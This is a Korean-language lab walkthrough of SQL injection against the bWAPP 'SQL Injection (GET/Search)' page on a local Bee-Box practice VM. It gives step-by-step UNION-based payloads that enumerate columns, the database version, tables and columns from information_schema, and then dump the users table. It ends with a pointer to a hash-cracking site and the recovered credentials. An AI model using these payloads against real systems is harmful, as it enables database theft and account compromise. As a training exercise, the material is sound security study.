Bee-Box(비박스) SQL Injection(GET/Search)
사용자 입력 값이 영화 제목에 포함되어 있다면 해당 영화를 조회해서 보여주는 서비스로, 사이트의 취약점을 이용하여 해당 사이트에 등록된 사용자 계정 정보를 탈취하면 문제 해결
(1) Bee-Box에서 http://localhost/bWAPP/sqli_1.php 사이트로 이동하여 로그인 하고, 목록에서 SQL Injection(GET/Search)을 찾아 이동합니다. (bee/ bug)
(2) 사용자 값이 서버로 전달되는 과정을 확인합니다.
SQL Injection(GET/Search) 사이트에서 오른쪽 마우스 클릭 > View Page Source 클릭
=> 전달과정은
GET /bWAPP/sqli_1.php?title=man&action=search
=> 서버 내부에서는
select * from movies(테이블명) where title(컬럼명) like '%man%'
테이블명과 컬럼명은 현재 알 수 없음
(3) 공격자가 원하는 값을 얻기 위해 입력값을 조작합니다.
공격자가 원하는 것은 해당 사이트에 등록된 사용자 계정 정보!
(3)-1 검색창에 man'을 검색합니다.
select * from movies where title like '%man'%'
=> 에러 발생
에러를 통해 확인할 수 있는 것들을 파악합니다. 이 사이트의 DB는 MySQL을 사용하고 있습니다. 또한 입력값 검증, 제한 없이 그대로 쿼리문을 생성 및 실행에 사용하고 있습니다.
=> Injection 가능함을 확인
(4) UNION 구문을 사용하여 공격자가 원하는 값을 조회해보겠습니다.
select * from movies where title like '%man' UNION 공격자가 원하는 데이터를 조회하는 쿼리 -- %'
=> UNION 검은색 정상적인 쿼리의 실행결과와 공격자가 알고싶어하는 빨간색 쿼리의 실행결과를 합쳐주는 역할
=> -- 주석으로 #과 동일한 기능
=> man으로 끝나는 영화 정보와 공격자가 원하는 정보가 함께 출력됨
(4)-1 movies 테이블에 몇 개의 컬럼이 있는지를 조회합니다.
입력 값 > select * from movies where title like '%man' or 'a' = 'a' order by 1 -- %' (뒤에 띄어쓰기 있음)
=> movies 테이블의 모든 데이터를 조회할건데, 조회결과에서 첫번째 컬럼 값을 기준으로 정렬
=> 컬럼의 개수는 7개임을 확인하였습니다.
(4)-2 데이터 타입에 관계없이 결합이 가능하도록 쿼리를 수정합니다.
입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1,2,3,4,5,6,7 -- %'
=> 'a' = 'b' 항상 거짓이 도는 조건을 추가
=> 7개의 컬럼 중 4개의 컬럼을 사용하는 것을 확인하였습니다.
(5) 이제는 데이터베이스의 정보를 알아내고자 합니다.
입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1,@@version,3,4,5,6,7 -- %'
=> 두 번째 컬럼에 DB 버전을 출력
(5)-1 데이터베이스가 제공하는 시스템테이블을 이용한 정보 조회를 해보겠습니다.
[참고문서]
https://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-table.html
https://dev.mysql.com/doc/refman/8.0/en/information-schema-tables-table.html
(5)-2 해당 시스템의 데이터베이스에 생성되어 있는 테이블 목록을 조회합니다.
입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1, TABLE_NAME, TABLE_TYPE, 4, 5, 6, 7 from information_schema.tables -- %'
=> 두 번째 컬럼에서 테이블명을 볼 수 있는데, 공격자가 원하는 정보가 users 테이블에 있을 것 같다(유추)
(5)-3 users 테이블의 컬럼 정보를 조회합니다.
입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1, TABLE_NAME, COLUMN_NAME, 4, 5, 6, 7 from information_schema.columns where table_name='users'-- %'
=> id, login, password, email, secret 컬럼에 공격자가 원하는 정보가 있을 것 같다(유추)
(5)-4 컬럼의 값을 조회합니다.
입력 값 > select * from movies where title like '%man' and 'a' = 'b' union select 1, concat(id,':',login), password, email, secret, 6, 7 from users-- %'
(5)-5 조회한 컬럼 값 중 password를 패스워드 크래킹을 통해 확인해보겠습니다.
패스워드 크래킹 사이트 : https://crackstation.net/
(6) 문제 해결
>> 해당 사이트에 등록된 사용자 계정 정보를 탈취 <<
ID: A.I.M / PW: bug
ID: bee / PW: bug